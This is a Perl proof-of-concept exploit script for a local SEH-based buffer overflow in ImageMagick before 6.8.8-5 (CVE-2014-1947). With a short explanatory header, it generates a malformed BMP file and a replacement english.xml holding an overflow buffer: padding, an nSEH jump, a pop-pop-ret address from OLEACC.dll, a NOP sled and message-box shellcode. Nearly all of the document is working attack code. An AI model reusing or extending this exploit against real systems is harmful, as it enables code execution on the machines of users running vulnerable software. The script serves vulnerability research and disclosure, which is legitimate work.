#!/usr/bin/perl ######################################################################################## # Exploit Title: ImageMagick < 6.8.8-5 - Local Buffer Overflow (SEH) # Date: 2-13-2014 # Exploit Author: Mike Czumak (T_v3rn1x) -- @SecuritySift # Vulnerable Software: ImageMagick (all versions prior to 6.8.8-5) # Software Link: http://ftp.sunet.se/pub/multimedia/graphics/ImageMagick/binaries/ # Version Tested: 6.8.8-4 # Tested On: Windows XP SP3 ######################################################################################## # Credits: # # CVE-2014-1947 published Feb 08 2014 # by Justin Grant # https://www.securityfocus.com/bid/65478/info # ######################################################################################## # Overview: # # I saw the notice for this CVE today but there was no known published expoits so # I figured I'd put together this quick POC. Note, all app modules for the tested # version were compiled with safeSEH so my use of an OS module may require adjustment # of the offsets. There also appears to be several bad chars that fail the sploit. # For this POC I only generate a basic messagebox using FatalAppExit(). It may take # some work to get it to do more. # # How it works: # # This particular BOF takes advantage of insecure handling of the english.xml file # which the app uses to display various error messages. I didn't spend much time # investigating the app so there may be additional vulnerable locations # # This script generates two files: # 1) a malfored .bmp file that will cause ImageMagick to generate a specific # error when opened (LengthAndFilesizeDoNotMatch), as defined in the # english.xml file # 2) a modified english.xml file that replaces the original error message with # our exploit code # # To test this POC: # 1) run the script, replace the original english.xml file (in App's folder) # 2) open the .bmp file with ImageMagick ######################################################################################## # file write function sub write_file { my ($file, $buffer) = @_; open(FILE, ">$file"); print FILE $buffer; close(FILE); print "Exploit file [" . $file . "] created\n"; print "Buffer size: " . length($buffer) . "\n"; } # create bmp file header; needs to be a valid header to generate necessary error sub bmp_header { my $header = "\x42\x4d"; # BM $header = $header . "\x46\x00\x00\x00"; # file size (70 bytes) $header = $header . "\x00\x00\x00\x00"; # unused $header = $header . "\x36\x00\x00\x00"; # bitmap offset $header = $header . "\x28\x00\x00\x00"; # header size $header = $header . "\x02\x00\x00\x00"; # width $header = $header . "\x02\x00\x00\x00"; # height $header = $header . "\x01\x00"; # num of color planes $header = $header . "\x18\x00"; # num of bits per pixel $header = $header . "\x00\x00\x00\x00"; # compression (none) $header = $header . "\x10\x00\x00\x00"; # image size $header = $header . "\x13\x0b\x00\x00"; # horizontal resolution (2,835 pixels/meter) $header = $header . "\x13\x0b\x00\x00"; # vertical resolution (2,835 pixels/meter) $header = $header . "\x00\x00\x00\x00"; # colors in palette $header = $header . "\x00\x00\x00\x00"; #important colors return $header; } ## Construct the corrupted bmp file which will trigger the vuln my $header = bmp_header(); my $data = "\x41" x (5000 - length($header)); # arbitrary file data filler my $buffer = $header.$data; write_file("corrupt.bmp", $buffer); # construct the buffer payload for our xml file my $buffsize = 100000; my $junk = "\x41" x 62504; # offset to next seh at 568 my $nseh = "\xeb\x32\x90\x90"; # overwrite next seh with jmp instruction (20 bytes) my $seh = pack('V', 0x74c82f4f); # : pop ebp pop ebx ret # ASLR: False, Rebase: False, SafeSEH: False, OS: True, C:\WINDOWS\system32\OLEACC.dll) my $junk2 = "\x41" x 12; # there are at least two possible offsets -- 1 for file-> open and 1 for the open file menubar button my $nops = "\x90" x 100; # this is just a POC shellcode that displays a messagebox using the FatalAppExit function my $shell = "\xb9\x7c\xec\xa5\x7c" . # Unicode String "FailSilently" (address may vary) "\x31\xc0" . # xor eax, eax "\xbb\xb2\x1b\x86\x7c" . # kernel32.dll FatalAppExit() "\x51" . # push ecx "\x50" . # push eax "\xff\xd3"; # call ebx my $sploit = $junk.$nseh.$seh.$junk2.$nseh.$seh.$nops.$shell; # assemble the exploit portion of the buffer my $fill = "\x43" x ($buffsize - (length($sploit))); # fill remainder of buffer with junk $sploit = $sploit.$fill; # assemble the final buffer # build the malicious xml file my $xml = ''; $xml = $xml . $sploit; $xml = $xml . ''; my $buffer = $xml; write_file("english.xml", $buffer);